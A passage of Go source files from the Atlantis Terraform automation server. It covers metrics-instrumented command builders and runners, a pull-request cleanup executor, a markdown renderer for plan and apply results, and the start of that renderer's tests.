{\n\treturn b.buildAndEmitStats(\n\t\t\"plan\",\n\t\tfunc() ([]command.ProjectContext, error) {\n\t\t\treturn b.ProjectCommandBuilder.BuildPlanCommands(ctx, comment)\n\t\t},\n\t)\n}\n\nfunc (b *InstrumentedProjectCommandBuilder) BuildImportCommands(ctx *command.Context, comment *CommentCommand) ([]command.ProjectContext, error) {\n\treturn b.buildAndEmitStats(\n\t\t\"import\",\n\t\tfunc() ([]command.ProjectContext, error) {\n\t\t\treturn b.ProjectCommandBuilder.BuildImportCommands(ctx, comment)\n\t\t},\n\t)\n}\n\nfunc (b *InstrumentedProjectCommandBuilder) BuildStateRmCommands(ctx *command.Context, comment *CommentCommand) ([]command.ProjectContext, error) {\n\treturn b.buildAndEmitStats(\n\t\t\"state rm\",\n\t\tfunc() ([]command.ProjectContext, error) {\n\t\t\treturn b.ProjectCommandBuilder.BuildStateRmCommands(ctx, comment)\n\t\t},\n\t)\n}\n\nfunc (b *InstrumentedProjectCommandBuilder) buildAndEmitStats(\n\tcommand string,\n\texecute func() ([]command.ProjectContext, error),\n) ([]command.ProjectContext, error) {\n\ttimer := b.scope.Timer(metrics.ExecutionTimeMetric).Start()\n\tdefer timer.Stop()\n\n\texecutionSuccess := b.scope.Counter(metrics.ExecutionSuccessMetric)\n\texecutionError := b.scope.Counter(metrics.ExecutionErrorMetric)\n\n\tprojectCmds, err := execute()\n\n\tif err != nil {\n\t\texecutionError.Inc(1)\n\t\tb.Logger.Err(\"Error building %s commands: %s\", command, err)\n\t} else {\n\t\texecutionSuccess.Inc(1)\n\t}\n\n\treturn projectCmds, err\n}\n"
  },
  {
    "path": "server/events/instrumented_project_command_runner.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events\n\nimport (\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/metrics\"\n\ttally \"github.com/uber-go/tally/v4\"\n)\n\ntype IntrumentedCommandRunner interface {\n\tPlan(ctx command.ProjectContext) command.ProjectResult\n\tPolicyCheck(ctx command.ProjectContext) command.ProjectResult\n\tApply(ctx command.ProjectContext) command.ProjectResult\n\tApprovePolicies(ctx command.ProjectContext) command.ProjectResult\n\tImport(ctx command.ProjectContext) command.ProjectResult\n\tStateRm(ctx command.ProjectContext) command.ProjectResult\n}\n\ntype InstrumentedProjectCommandRunner struct {\n\tprojectCommandRunner ProjectCommandRunner\n\tscope                tally.Scope\n}\n\nfunc NewInstrumentedProjectCommandRunner(scope tally.Scope, projectCommandRunner ProjectCommandRunner) *InstrumentedProjectCommandRunner {\n\tprojectTags := command.ProjectScopeTags{}\n\tscope = scope.SubScope(\"project\").Tagged(projectTags.Loadtags())\n\n\tfor _, m := range []string{metrics.ExecutionSuccessMetric, metrics.ExecutionErrorMetric, metrics.ExecutionFailureMetric} {\n\t\tmetrics.InitCounter(scope, m)\n\t}\n\n\treturn &InstrumentedProjectCommandRunner{\n\t\tprojectCommandRunner: projectCommandRunner,\n\t\tscope:                scope,\n\t}\n}\n\nfunc (p *InstrumentedProjectCommandRunner) Plan(ctx command.ProjectContext) command.ProjectCommandOutput {\n\treturn RunAndEmitStats(ctx, p.projectCommandRunner.Plan, p.scope)\n}\n\nfunc (p *InstrumentedProjectCommandRunner) PolicyCheck(ctx command.ProjectContext) command.ProjectCommandOutput {\n\treturn RunAndEmitStats(ctx, p.projectCommandRunner.PolicyCheck, p.scope)\n}\n\nfunc (p *InstrumentedProjectCommandRunner) Apply(ctx command.ProjectContext) command.ProjectCommandOutput {\n\treturn RunAndEmitStats(ctx, p.projectCommandRunner.Apply, p.scope)\n}\n\nfunc (p *InstrumentedProjectCommandRunner) ApprovePolicies(ctx command.ProjectContext) command.ProjectCommandOutput {\n\treturn RunAndEmitStats(ctx, p.projectCommandRunner.ApprovePolicies, p.scope)\n}\n\nfunc (p *InstrumentedProjectCommandRunner) Import(ctx command.ProjectContext) command.ProjectCommandOutput {\n\treturn RunAndEmitStats(ctx, p.projectCommandRunner.Import, p.scope)\n}\n\nfunc (p *InstrumentedProjectCommandRunner) StateRm(ctx command.ProjectContext) command.ProjectCommandOutput {\n\treturn RunAndEmitStats(ctx, p.projectCommandRunner.StateRm, p.scope)\n}\n\nfunc RunAndEmitStats(ctx command.ProjectContext, execute func(ctx command.ProjectContext) command.ProjectCommandOutput, scope tally.Scope) command.ProjectCommandOutput {\n\tcommandName := ctx.CommandName.String()\n\t// ensures we are differentiating between project level command and overall command\n\tscope = ctx.SetProjectScopeTags(scope).SubScope(commandName)\n\tlogger := ctx.Log\n\n\texecutionTime := scope.Timer(metrics.ExecutionTimeMetric).Start()\n\tdefer executionTime.Stop()\n\n\texecutionSuccess := scope.Counter(metrics.ExecutionSuccessMetric)\n\texecutionError := scope.Counter(metrics.ExecutionErrorMetric)\n\texecutionFailure := scope.Counter(metrics.ExecutionFailureMetric)\n\n\tresult := execute(ctx)\n\n\tif result.Error != nil {\n\t\texecutionError.Inc(1)\n\t\tlogger.Err(\"Error running %s operation: %s\", commandName, result.Error.Error())\n\t\treturn result\n\t}\n\n\tif result.Failure != \"\" {\n\t\texecutionFailure.Inc(1)\n\t\tlogger.Err(\"Failure running %s operation: %s\", commandName, result.Failure)\n\t\treturn result\n\t}\n\n\tlogger.Info(\"%s success. output available at: %s\", commandName, ctx.Pull.URL)\n\n\texecutionSuccess.Inc(1)\n\treturn result\n\n}\n"
  },
  {
    "path": "server/events/instrumented_pull_closed_executor.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events\n\nimport (\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t\"github.com/runatlantis/atlantis/server/metrics\"\n\ttally \"github.com/uber-go/tally/v4\"\n)\n\ntype InstrumentedPullClosedExecutor struct {\n\tscope   tally.Scope\n\tlog     logging.SimpleLogging\n\tcleaner PullCleaner\n}\n\nfunc NewInstrumentedPullClosedExecutor(\n\tscope tally.Scope, log logging.SimpleLogging, cleaner PullCleaner,\n) PullCleaner {\n\tscope = scope.SubScope(\"pullclosed_cleanup\")\n\n\tfor _, m := range []string{metrics.ExecutionSuccessMetric, metrics.ExecutionErrorMetric} {\n\t\tmetrics.InitCounter(scope, m)\n\t}\n\n\treturn &InstrumentedPullClosedExecutor{\n\t\tscope:   scope,\n\t\tlog:     log,\n\t\tcleaner: cleaner,\n\t}\n}\n\nfunc (e *InstrumentedPullClosedExecutor) CleanUpPull(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) error {\n\n\texecutionSuccess := e.scope.Counter(metrics.ExecutionSuccessMetric)\n\texecutionError := e.scope.Counter(metrics.ExecutionErrorMetric)\n\texecutionTime := e.scope.Timer(metrics.ExecutionTimeMetric).Start()\n\tdefer executionTime.Stop()\n\n\tlogger.Info(\"Initiating cleanup of pull data.\")\n\n\terr := e.cleaner.CleanUpPull(logger, repo, pull)\n\n\tif err != nil {\n\t\texecutionError.Inc(1)\n\t\tlogger.Err(\"error during cleanup of pull data\", err)\n\t\treturn err\n\t}\n\n\texecutionSuccess.Inc(1)\n\n\treturn nil\n}\n"
  },
  {
    "path": "server/events/markdown_renderer.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage events\n\nimport (\n\t\"bytes\"\n\t\"embed\"\n\t\"fmt\"\n\t\"strings\"\n\t\"text/template\"\n\n\t\"github.com/Masterminds/sprig/v3\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"golang.org/x/text/cases\"\n\t\"golang.org/x/text/language\"\n)\n\nvar (\n\tplanCommandTitle            = command.Plan.TitleString()\n\tapplyCommandTitle           = command.Apply.TitleString()\n\tpolicyCheckCommandTitle     = command.PolicyCheck.TitleString()\n\tapprovePoliciesCommandTitle = command.ApprovePolicies.TitleString()\n\tversionCommandTitle         = command.Version.TitleString()\n\timportCommandTitle          = command.Import.TitleString()\n\tstateCommandTitle           = command.State.TitleString()\n\t// maxUnwrappedLines is the maximum number of lines the Terraform output\n\t// can be before we wrap it in an expandable template.\n\tmaxUnwrappedLines = 12\n\n\t//go:embed templates/*\n\ttemplatesFS embed.FS\n)\n\n// MarkdownRenderer renders responses as markdown.\ntype MarkdownRenderer struct {\n\t// gitlabSupportsCommonMark is true if the version of GitLab we're\n\t// using supports the CommonMark markdown format.\n\t// If we're not configured with a GitLab client, this will be false.\n\tgitlabSupportsCommonMark  bool\n\tdisableApplyAll           bool\n\tdisableApply              bool\n\tdisableMarkdownFolding    bool\n\tdisableRepoLocking        bool\n\tenableDiffMarkdownFormat  bool\n\tmarkdownTemplates         *template.Template\n\texecutableName            string\n\thideUnchangedPlanComments bool\n\tquietPolicyChecks         bool\n}\n\n// commonData is data that all responses have.\ntype commonData struct {\n\tCommand                   string\n\tSubCommand                string\n\tVerbose                   bool\n\tLog                       string\n\tPlansDeleted              bool\n\tDisableApplyAll           bool\n\tDisableApply              bool\n\tDisableRepoLocking        bool\n\tEnableDiffMarkdownFormat  bool\n\tExecutableName            string\n\tHideUnchangedPlanComments bool\n\tQuietPolicyChecks         bool\n\tVcsRequestType            string\n}\n\n// errData is data about an error response.\ntype errData struct {\n\tError           string\n\tRenderedContext string\n\tcommonData\n}\n\n// failureData is data about a failure response.\ntype failureData struct {\n\tFailure         string\n\tRenderedContext string\n\tcommonData\n}\n\ntype resultData struct {\n\tResults []projectResultTmplData\n\tcommonData\n}\n\ntype planResultData struct {\n\tResults []projectResultTmplData\n\tcommonData\n\tNumPlansWithChanges   int\n\tNumPlansWithNoChanges int\n\tNumPlanFailures       int\n}\n\ntype applyResultData struct {\n\tResults []projectResultTmplData\n\tcommonData\n\tNumApplySuccesses int\n\tNumApplyFailures  int\n\tNumApplyErrors    int\n}\n\ntype planSuccessData struct {\n\tmodels.PlanSuccess\n\tPlanSummary              string\n\tPlanWasDeleted           bool\n\tDisableApply             bool\n\tDisableRepoLocking       bool\n\tEnableDiffMarkdownFormat bool\n\tPlanStats                models.PlanSuccessStats\n}\n\ntype policyCheckResultsData struct {\n\tmodels.PolicyCheckResults\n\tPreConftestOutput     string\n\tPostConftestOutput    string\n\tPolicyCheckSummary    string\n\tPolicyApprovalSummary string\n\tPolicyCleared         bool\n\tcommonData\n}\n\ntype projectResultTmplData struct {\n\tWorkspace    string\n\tRepoRelDir   string\n\tProjectName  string\n\tRendered     string\n\tNoChanges    bool\n\tIsSuccessful bool\n}\n\n// Initialize templates\nfunc NewMarkdownRenderer(\n\tgitlabSupportsCommonMark bool,\n\tdisableApplyAll bool,\n\tdisableApply bool,\n\tdisableMarkdownFolding bool,\n\tdisableRepoLocking bool,\n\tenableDiffMarkdownFormat bool,\n\tmarkdownTemplateOverridesDir string,\n\texecutableName string,\n\thideUnchangedPlanComments bool,\n\tquietPolicyChecks bool,\n) *MarkdownRenderer {\n\tvar templates *template.Template\n\ttemplates, _ = template.New(\"\").Funcs(sprig.TxtFuncMap()).ParseFS(templatesFS, \"templates/*.tmpl\")\n\tif overrides, err := templates.ParseGlob(fmt.Sprintf(\"%s/*.tmpl\", markdownTemplateOverridesDir)); err == nil {\n\t\t// doesn't override if templates directory doesn't exist\n\t\ttemplates = overrides\n\t}\n\treturn &MarkdownRenderer{\n\t\tgitlabSupportsCommonMark:  gitlabSupportsCommonMark,\n\t\tdisableApplyAll:           disableApplyAll,\n\t\tdisableMarkdownFolding:    disableMarkdownFolding,\n\t\tdisableApply:              disableApply,\n\t\tdisableRepoLocking:        disableRepoLocking,\n\t\tenableDiffMarkdownFormat:  enableDiffMarkdownFormat,\n\t\tmarkdownTemplates:         templates,\n\t\texecutableName:            executableName,\n\t\thideUnchangedPlanComments: hideUnchangedPlanComments,\n\t\tquietPolicyChecks:         quietPolicyChecks,\n\t}\n}\n\n// Render formats the data into a markdown string.\n// nolint: interfacer\nfunc (m *MarkdownRenderer) Render(ctx *command.Context, res command.Result, cmd PullCommand) string {\n\tcommandStr := cases.Title(language.English).String(strings.ReplaceAll(cmd.CommandName().String(), \"_\", \" \"))\n\tvar vcsRequestType string\n\tif ctx.Pull.BaseRepo.VCSHost.Type == models.Gitlab {\n\t\tvcsRequestType = \"Merge Request\"\n\t} else {\n\t\tvcsRequestType = \"Pull Request\"\n\t}\n\n\tcommon := commonData{\n\t\tCommand:                   commandStr,\n\t\tSubCommand:                cmd.SubCommandName(),\n\t\tVerbose:                   cmd.IsVerbose(),\n\t\tLog:                       ctx.Log.GetHistory(),\n\t\tPlansDeleted:              res.PlansDeleted,\n\t\tDisableApplyAll:           m.disableApplyAll || m.disableApply,\n\t\tDisableApply:              m.disableApply,\n\t\tDisableRepoLocking:        m.disableRepoLocking,\n\t\tEnableDiffMarkdownFormat:  m.enableDiffMarkdownFormat,\n\t\tExecutableName:            m.executableName,\n\t\tHideUnchangedPlanComments: m.hideUnchangedPlanComments,\n\t\tQuietPolicyChecks:         m.quietPolicyChecks,\n\t\tVcsRequestType:            vcsRequestType,\n\t}\n\n\ttemplates := m.markdownTemplates\n\n\tif res.Error != nil {\n\t\treturn m.renderTemplateTrimSpace(templates.Lookup(\"unwrappedErrWithLog\"), errData{res.Error.Error(), \"\", common})\n\t}\n\tif res.Failure != \"\" {\n\t\treturn m.renderTemplateTrimSpace(templates.Lookup(\"failureWithLog\"), failureData{res.Failure, \"\", common})\n\t}\n\treturn m.renderProjectResults(ctx, res.ProjectResults, common)\n}\n\nfunc (m *MarkdownRenderer) renderProjectResults(ctx *command.Context, results []command.ProjectResult, common commonData) string {\n\tvcsHost := ctx.Pull.BaseRepo.VCSHost.Type\n\n\tvar resultsTmplData []projectResultTmplData\n\tnumPlanSuccesses := 0\n\tnumPolicyCheckSuccesses := 0\n\tnumPolicyApprovalSuccesses := 0\n\tnumVersionSuccesses := 0\n\tnumPlansWithChanges := 0\n\tnumPlansWithNoChanges := 0\n\tnumApplySuccesses := 0\n\tnumApplyFailures := 0\n\tnumApplyErrors := 0\n\n\ttemplates := m.markdownTemplates\n\n\tfor _, result := range results {\n\t\tresultData := projectResultTmplData{\n\t\t\tWorkspace:    result.Workspace,\n\t\t\tRepoRelDir:   result.RepoRelDir,\n\t\t\tProjectName:  result.ProjectName,\n\t\t\tIsSuccessful: result.IsSuccessful(),\n\t\t}\n\t\tif result.PlanSuccess != nil {\n\t\t\tresult.PlanSuccess.TerraformOutput = strings.TrimSpace(result.PlanSuccess.TerraformOutput)\n\t\t\tdata := planSuccessData{\n\t\t\t\tPlanSuccess:              *result.PlanSuccess,\n\t\t\t\tPlanWasDeleted:           common.PlansDeleted,\n\t\t\t\tDisableApply:             common.DisableApply,\n\t\t\t\tDisableRepoLocking:       common.DisableRepoLocking,\n\t\t\t\tEnableDiffMarkdownFormat: common.EnableDiffMarkdownFormat,\n\t\t\t\tPlanStats:                result.PlanSuccess.Stats(),\n\t\t\t}\n\t\t\tif m.shouldUseWrappedTmpl(vcsHost, result.PlanSuccess.TerraformOutput) {\n\t\t\t\tdata.PlanSummary = result.PlanSuccess.Summary()\n\t\t\t\tresultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup(\"planSuccessWrapped\"), data)\n\t\t\t} else {\n\t\t\t\tresultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup(\"planSuccessUnwrapped\"), data)\n\t\t\t}\n\t\t\tresultData.NoChanges = result.PlanSuccess.NoChanges()\n\t\t\tif result.PlanSuccess.NoChanges() {\n\t\t\t\tnumPlansWithNoChanges++\n\t\t\t} else {\n\t\t\t\tnumPlansWithChanges++\n\t\t\t}\n\t\t\tnumPlanSuccesses++\n\t\t} else if result.PolicyCheckResults != nil && common.Command == policyCheckCommandTitle {\n\t\t\tpolicyCheckResults := policyCheckResultsData{\n\t\t\t\tPreConftestOutput:     result.PolicyCheckResults.PreConftestOutput,\n\t\t\t\tPostConftestOutput:    result.PolicyCheckResults.PostConftestOutput,\n\t\t\t\tPolicyCheckResults:    *result.PolicyCheckResults,\n\t\t\t\tPolicyCheckSummary:    result.PolicyCheckResults.Summary(),\n\t\t\t\tPolicyApprovalSummary: result.PolicyCheckResults.PolicySummary(),\n\t\t\t\tPolicyCleared:         result.PolicyCheckResults.PolicyCleared(),\n\t\t\t\tcommonData:            common,\n\t\t\t}\n\t\t\tif m.shouldUseWrappedTmpl(vcsHost, result.PolicyCheckResults.CombinedOutput()) {\n\t\t\t\tresultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup(\"policyCheckResultsWrapped\"), policyCheckResults)\n\t\t\t} else {\n\t\t\t\tresultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup(\"policyCheckResultsUnwrapped\"), policyCheckResults)\n\t\t\t}\n\t\t\tif result.Error == nil && result.Failure == \"\" {\n\t\t\t\tnumPolicyCheckSuccesses++\n\t\t\t}\n\t\t} else if result.PolicyCheckResults != nil && common.Command == approvePoliciesCommandTitle {\n\t\t\tpolicyCheckResults := policyCheckResultsData{\n\t\t\t\tPolicyCheckResults:    *result.PolicyCheckResults,\n\t\t\t\tPolicyCheckSummary:    result.PolicyCheckResults.Summary(),\n\t\t\t\tPolicyApprovalSummary: result.PolicyCheckResults.PolicySummary(),\n\t\t\t\tPolicyCleared:         result.PolicyCheckResults.PolicyCleared(),\n\t\t\t\tcommonData:            common,\n\t\t\t}\n\t\t\tif m.shouldUseWrappedTmpl(vcsHost, result.PolicyCheckResults.CombinedOutput()) {\n\t\t\t\tresultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup(\"policyCheckResultsWrapped\"), policyCheckResults)\n\t\t\t} else {\n\t\t\t\tresultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup(\"policyCheckResultsUnwrapped\"), policyCheckResults)\n\t\t\t}\n\t\t\tif result.Error == nil && result.Failure == \"\" {\n\t\t\t\tnumPolicyApprovalSuccesses++\n\t\t\t}\n\t\t} else if result.ApplySuccess != \"\" {\n\t\t\toutput := strings.TrimSpace(result.ApplySuccess)\n\t\t\tif m.shouldUseWrappedTmpl(vcsHost, result.ApplySuccess) {\n\t\t\t\tresultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup(\"applyWrappedSuccess\"), struct{ Output string }{output})\n\t\t\t} else {\n\t\t\t\tresultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup(\"applyUnwrappedSuccess\"), struct{ Output string }{output})\n\t\t\t}\n\t\t\tnumApplySuccesses++\n\t\t} else if result.VersionSuccess != \"\" {\n\t\t\toutput := strings.TrimSpace(result.VersionSuccess)\n\t\t\tif m.shouldUseWrappedTmpl(vcsHost, output) {\n\t\t\t\tresultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup(\"versionWrappedSuccess\"), struct{ Output string }{output})\n\t\t\t} else {\n\t\t\t\tresultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup(\"versionUnwrappedSuccess\"), struct{ Output string }{output})\n\t\t\t}\n\t\t\tnumVersionSuccesses++\n\t\t} else if result.ImportSuccess != nil {\n\t\t\tresult.ImportSuccess.Output = strings.TrimSpace(result.ImportSuccess.Output)\n\t\t\tif m.shouldUseWrappedTmpl(vcsHost, result.ImportSuccess.Output) {\n\t\t\t\tresultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup(\"importSuccessWrapped\"), result.ImportSuccess)\n\t\t\t} else {\n\t\t\t\tresultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup(\"importSuccessUnwrapped\"), result.ImportSuccess)\n\t\t\t}\n\t\t} else if result.StateRmSuccess != nil {\n\t\t\tresult.StateRmSuccess.Output = strings.TrimSpace(result.StateRmSuccess.Output)\n\t\t\tif m.shouldUseWrappedTmpl(vcsHost, result.StateRmSuccess.Output) {\n\t\t\t\tresultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup(\"stateRmSuccessWrapped\"), result.StateRmSuccess)\n\t\t\t} else {\n\t\t\t\tresultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup(\"stateRmSuccessUnwrapped\"), result.StateRmSuccess)\n\t\t\t}\n\t\t\t// Error out if no template was found, only if there are no errors or failures.\n\t\t\t// This is because some errors and failures rely on additional context rendered by templates, but not all errors or failures.\n\t\t} else if result.Error == nil && result.Failure == \"\" {\n\t\t\tresultData.Rendered = \"Found no template. This is a bug!\"\n\t\t}\n\t\t// Render error or failure templates. Done outside of previous block so that other context can be rendered for use here.\n\t\tif result.Error != nil {\n\t\t\ttmpl := templates.Lookup(\"unwrappedErr\")\n\t\t\tif m.shouldUseWrappedTmpl(vcsHost, result.Error.Error()) {\n\t\t\t\ttmpl = templates.Lookup(\"wrappedErr\")\n\t\t\t}\n\t\t\tresultData.Rendered = m.renderTemplateTrimSpace(tmpl, errData{result.Error.Error(), resultData.Rendered, common})\n\t\t\tif common.Command == applyCommandTitle {\n\t\t\t\tnumApplyErrors++\n\t\t\t}\n\t\t} else if result.Failure != \"\" {\n\t\t\tresultData.Rendered = m.renderTemplateTrimSpace(templates.Lookup(\"failure\"), failureData{result.Failure, resultData.Rendered, common})\n\t\t\tif common.Command == applyCommandTitle {\n\t\t\t\tnumApplyFailures++\n\t\t\t}\n\t\t}\n\t\tresultsTmplData = append(resultsTmplData, resultData)\n\t}\n\n\tvar tmpl *template.Template\n\tswitch {\n\tcase len(resultsTmplData) == 1 && common.Command == planCommandTitle && numPlanSuccesses > 0:\n\t\ttmpl = templates.Lookup(\"singleProjectPlanSuccess\")\n\tcase len(resultsTmplData) == 1 && common.Command == planCommandTitle && numPlanSuccesses == 0:\n\t\ttmpl = templates.Lookup(\"singleProjectPlanUnsuccessful\")\n\tcase len(resultsTmplData) == 1 && common.Command == policyCheckCommandTitle && numPolicyCheckSuccesses > 0:\n\t\ttmpl = templates.Lookup(\"singleProjectPlanSuccess\")\n\tcase len(resultsTmplData) == 1 && common.Command == policyCheckCommandTitle && numPolicyCheckSuccesses == 0:\n\t\ttmpl = templates.Lookup(\"singleProjectPolicyUnsuccessful\")\n\tcase len(resultsTmplData) == 1 && common.Command == versionCommandTitle && numVersionSuccesses > 0:\n\t\ttmpl = templates.Lookup(\"singleProjectVersionSuccess\")\n\tcase len(resultsTmplData) == 1 && common.Command == versionCommandTitle && numVersionSuccesses == 0:\n\t\ttmpl = templates.Lookup(\"singleProjectVersionUnsuccessful\")\n\tcase len(resultsTmplData) == 1 && common.Command == applyCommandTitle:\n\t\ttmpl = templates.Lookup(\"singleProjectApply\")\n\tcase len(resultsTmplData) == 1 && common.Command == importCommandTitle:\n\t\ttmpl = templates.Lookup(\"singleProjectImport\")\n\tcase len(resultsTmplData) == 1 && common.Command == stateCommandTitle:\n\t\tswitch common.SubCommand {\n\t\tcase \"rm\":\n\t\t\ttmpl = templates.Lookup(\"singleProjectStateRm\")\n\t\tdefault:\n\t\t\treturn fmt.Sprintf(\"no template matched–this is a bug: command=%s, subcommand=%s\", common.Command, common.SubCommand)\n\t\t}\n\tcase common.Command == planCommandTitle:\n\t\ttmpl = templates.Lookup(\"multiProjectPlan\")\n\tcase common.Command == policyCheckCommandTitle:\n\t\tif numPolicyCheckSuccesses == len(results) {\n\t\t\ttmpl = templates.Lookup(\"multiProjectPolicy\")\n\t\t} else {\n\t\t\ttmpl = templates.Lookup(\"multiProjectPolicyUnsuccessful\")\n\t\t}\n\tcase common.Command == approvePoliciesCommandTitle:\n\t\tif numPolicyApprovalSuccesses == len(results) {\n\t\t\ttmpl = templates.Lookup(\"approveAllProjects\")\n\t\t} else {\n\t\t\ttmpl = templates.Lookup(\"multiProjectPolicyUnsuccessful\")\n\t\t}\n\tcase common.Command == applyCommandTitle:\n\t\ttmpl = templates.Lookup(\"multiProjectApply\")\n\tcase common.Command == versionCommandTitle:\n\t\ttmpl = templates.Lookup(\"multiProjectVersion\")\n\tcase common.Command == importCommandTitle:\n\t\ttmpl = templates.Lookup(\"multiProjectImport\")\n\tcase common.Command == stateCommandTitle:\n\t\tswitch common.SubCommand {\n\t\tcase \"rm\":\n\t\t\ttmpl = templates.Lookup(\"multiProjectStateRm\")\n\t\tdefault:\n\t\t\treturn fmt.Sprintf(\"no template matched–this is a bug: command=%s, subcommand=%s\", common.Command, common.SubCommand)\n\t\t}\n\tdefault:\n\t\treturn fmt.Sprintf(\"no template matched–this is a bug: command=%s\", common.Command)\n\t}\n\n\tswitch common.Command {\n\tcase planCommandTitle:\n\t\tnumPlanFailures := len(results) - numPlanSuccesses\n\t\treturn m.renderTemplateTrimSpace(tmpl, planResultData{resultsTmplData, common, numPlansWithChanges, numPlansWithNoChanges, numPlanFailures})\n\tcase applyCommandTitle:\n\t\treturn m.renderTemplateTrimSpace(tmpl, applyResultData{resultsTmplData, common, numApplySuccesses, numApplyFailures, numApplyErrors})\n\t}\n\treturn m.renderTemplateTrimSpace(tmpl, resultData{resultsTmplData, common})\n}\n\n// shouldUseWrappedTmpl returns true if we should use the wrapped markdown\n// templates that collapse the output to make the comment smaller on initial\n// load. Some VCS providers or versions of VCS providers don't support this\n// syntax.\nfunc (m *MarkdownRenderer) shouldUseWrappedTmpl(vcsHost models.VCSHostType, output string) bool {\n\tif m.disableMarkdownFolding {\n\t\treturn false\n\t}\n\n\t// Bitbucket Cloud and Server don't support the folding markdown syntax.\n\tif vcsHost == models.BitbucketServer || vcsHost == models.BitbucketCloud {\n\t\treturn false\n\t}\n\n\tif vcsHost == models.Gitlab && !m.gitlabSupportsCommonMark {\n\t\treturn false\n\t}\n\n\treturn strings.Count(output, \"\\n\") > maxUnwrappedLines\n}\n\nfunc (m *MarkdownRenderer) renderTemplateTrimSpace(tmpl *template.Template, data any) string {\n\tbuf := &bytes.Buffer{}\n\tif err := tmpl.Execute(buf, data); err != nil {\n\t\treturn fmt.Sprintf(\"Failed to render template, this is a bug: %v\", err)\n\t}\n\treturn strings.TrimSpace(buf.String())\n}\n"
  },
  {
    "path": "server/events/markdown_renderer_test.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage events_test\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/events\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\n// Strip Carriage Returns, leading and trailing spaces and replace 'dollar' with 'backtick' in the string\nfunc normalize(s string) string {\n\treturn strings.TrimSpace(strings.ReplaceAll(strings.ReplaceAll(s, \"$\", \"`\"), \"\\r\", \"\"))\n}\n\nfunc TestRenderErr(t *testing.T) {\n\terr := errors.New(\"err\")\n\tcases := []struct {\n\t\tDescription string\n\t\tCommand     command.Name\n\t\tError       error\n\t\tExpected    string\n\t}{\n\t\t{\n\t\t\t\"apply error\",\n\t\t\tcommand.Apply,\n\t\t\terr,\n\t\t\t\"**Apply Error**\\n```\\nerr\\n```\",\n\t\t},\n\t\t{\n\t\t\t\"plan error\",\n\t\t\tcommand.Plan,\n\t\t\terr,\n\t\t\t\"**Plan Error**\\n```\\nerr\\n```\",\n\t\t},\n\t\t{\n\t\t\t\"policy check error\",\n\t\t\tcommand.PolicyCheck,\n\t\t\tfmt.Errorf(\"some conftest error\"),\n\t\t\t\"**Policy Check Error**\\n```\\nsome conftest error\\n```\",\n\t\t},\n\t}\n\n\tr := events.NewMarkdownRenderer(\n\t\tfalse,      // gitlabSupportsCommonMark\n\t\tfalse,      // disableApplyAll\n\t\tfalse,      // disableApply\n\t\tfalse,      // disableMarkdownFolding\n\t\tfalse,      // disableRepoLocking\n\t\tfalse,      // enableDiffMarkdownFormat\n\t\t\"\",         // markdownTemplateOverridesDir\n\t\t\"atlantis\", // executableName\n\t\tfalse,      // hideUnchangedPlanComments\n\t\tfalse,      // quietPolicyChecks\n\t)\n\tlogger := logging.NewNoopLogger(t).WithHistory()\n\tlogText := \"log\"\n\tlogger.Info(logText)\n\tctx := &command.Context{\n\t\tLog: logger,\n\t\tPull: models.PullRequest{\n\t\t\tBaseRepo: models.Repo{\n\t\t\t\tVCSHost: models.VCSHost{\n\t\t\t\t\tType: models.Github,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tres := command.Result{\n\t\t\tError: c.Error,\n\t\t}\n\t\tfor _, verbose := range []bool{true, false} {\n\t\t\tt.Run(fmt.Sprintf(\"%s_%t\", c.Description, verbose), func(t *testing.T) {\n\t\t\t\tcmd := &events.CommentCommand{\n\t\t\t\t\tName:    c.Command,\n\t\t\t\t\tVerbose: verbose,\n\t\t\t\t}\n\t\t\t\ts := r.Render(ctx, res, cmd)\n\t\t\t\tif !verbose {\n\t\t\t\t\tEquals(t, normalize(c.Expected), normalize(s))\n\t\t\t\t} else {\n\t\t\t\t\tlog := 